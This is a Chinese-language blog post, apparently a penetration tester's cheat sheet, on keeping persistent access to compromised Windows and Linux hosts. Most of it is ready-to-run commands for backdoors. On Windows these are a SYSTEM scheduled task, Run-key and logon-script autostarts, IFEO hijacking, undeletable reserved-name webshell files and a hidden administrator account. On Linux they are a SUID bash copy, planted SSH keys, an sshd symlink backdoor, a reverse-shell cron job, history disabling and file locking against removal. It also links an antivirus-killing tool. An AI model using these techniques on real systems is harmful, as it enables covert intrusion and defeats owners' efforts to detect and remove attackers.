内网渗透权限维持

发布于 2022-07-24  655 次阅读


windows权限维持

计划任务

不多说了

schtasks /create /tn "updatex" /tr C:\Users\Administrator\Desktop\backdoor.exe /rl highest /F /sc hourly /mo 4 /RU system

开机自启项

在注册表中添加开机自启键值对

reg add "HKEY_CURRENT_USER\software\microsoft\windows\CurrentVersion\Run" /v myPersist /t reg_sz /d "C:\Users\Administrator\Desktop\persist.exe"

后门隐藏

attrib +s +a +h +r [文件夹]

  +s:系统 

  +h:隐藏 

  +r:只读

  加上s属性后,文件会进一步被隐藏(打开查看隐藏文件都看不见),只有使用 dir - h(ls -h) 等才能看见。当文件被加上s属性后,后续操作可能没有足够的权限取操作,需要先去掉s属性才能进行后续的操作。

我们还可以将这个文件夹名称进一步改为以下代码

我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
回收站.{645ff040-5081-101b-9f08-00aa002f954e}
拔号⽹络.{992CFFA0-F557-101A-88EC-00DD010CCC48} 
打印机.{2227a280-3aea-1069-a2de-08002b30309d} 
控制⾯板.{21ec2020-3aea-1069-a2dd-08002b30309d} 
⽹上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}

这样当我们双击这个文件夹时,他会像对应的文件一样打开

畸形目录防删

mkdir vaeky...\
在命令行中将文件移入vaeky...\的目录中,某些操作不能对其作用,如 cd,dir等 ,但可以 copy 文件进去,或者直接查看文件 

删除文件夹

rd /s /q vaeky...\

系统保留字文件

利用系统保留文件名创建无法删除的webshell,

Windows 下不能够以下面这些字样来命名文件/文件夹,

包括:aux,com1,com2,prn,con和nul等,

但是通过cmd下是可以创建此类文件夹的,使用copy命令即可实现:

创建 “ copy c.txt \\.\C:\Users\xx\Desktop\T\com1.asp ”

读取 “ type \\.\C:\Users\xx\Desktop\T\com1.asp”

映像劫持

“映像劫持”,也被称为 “IFEO”(Image File Execution Options)。通过修改“Debugger“项值,替换执行程序,加以利用。映像劫持其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序

也就是我点a.exe却运行了b.exe

例子

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"  /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe"  /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\calc.exe"

calc劫持notepad

logon scripts 后门


Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

注册表位置:HKEY_CURRENT_USER\Environment

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\poc.exe"

创建隐藏账号

net user hacker$ 123456 /add
net localgroup administrators hacker$ /add

这样的话在net user 命令行中是看不见这个账号的,但是 net localgroup administrators 可以查看到

我们可以进一步用修改注册表的方式隐藏-------https://cloud.tencent.com/developer/article/1665356

干掉杀软

https://github.com/Yaxser/Backstab

组策略后门

相对来说,组策略后门更加隐蔽。

往册表中添加相应键值实现随系统启动而运行是木马常用的伎俩,也为大家所熟知。

其实,在组策略中也可以实现该功能,不仅如此它还可以实现在系统关机时进行某些操作。

这就是通过最策略的“脚本(启动/关机)”项来说实现。

具体位置在 “计算机配置→Windows设置” 项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。  

内存马

linux权限维持

修改文件属性

touch -r index.php shell.php

给某个用户添加sudo

sudo usermod -aG sudo vaeky(对应的用户名)

文件锁定
在Linux中,使⽤chattr命令来防⽌root和其他管理⽤户误删除和修改重要⽂件及⽬录,

此权限⽤ls -l是查看不出来的,从⽽达到隐藏权限的⽬的。

chattr +i evil.php #锁定⽂件
rm -rf evil.php #提示禁⽌删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除⽂件

临时关闭操作命令的记录

[space]set +o history #[space]表示空格。并且由于空格的缘故,该命令本身也不会被记录,所以不怕麻烦也可以每个命令前都添加一个空格

SUIDbash

使用root用户执行以下命令,来留存一个后门

cp /bin/bash /tmp/.文件名

chmod 4755 /tmp/.文件名

ls -al /tmp/.文件名

 /tmp/.文件名 -p

私钥后门

在攻击机器上执行命令“ sudo ssh-keygen -t rsa ”,然后一路回车。

生成两个文件,

/root/.ssh/id_rsa           、、私钥

/root/.ssh/id_rsa.pub       、、公钥

接着执行下边这个语句,输入目标机器root的账户密码。

ssh-copy-id -i  id_rsa.pub 远程服务器IP       

在之后直接输入“ ssh 目标机器的IP ”即可直接连接。

软连接后门

利用语句为:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=端口号

我们通过“ find /etc/pam.d|xargs grep "pam_rootok" ”得知还有很多程序可以使用,
、、注意:这些文件不同的系统可能会有略微的差别

/etc/pam.d/chsh     
/etc/pam.d/chfn     
/etc/pam.d/su           
/etc/pam.d/runuser  

我们也可以改为:

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=端口号

记得端口不能被防火墙屏蔽掉,然后攻击机器直接,

ssh [email protected] -p 端口号

计划任务后门

每个用户都会生成一个与自己同名的crontab文件位于/var/spool/cron/crontabs/中,比如root用户的计划任务就在/var/spool/cron/crontabs/root中

crontab -l的本质 == cat /var/spool/cron/crontabs/xxxx

步骤:

写一个backdoor.sh,内容为反弹shell。

我们用crontab -e进入当前用户的工作表编辑,是常见的vim界面。每行是一条命令。

插入自己想要执行的计划任务

插入格式为 时间格式+任务(时间格式生成

例子:1-2 * * * * ? /tmp/backdoor.sh

最后重启服务 service crond restart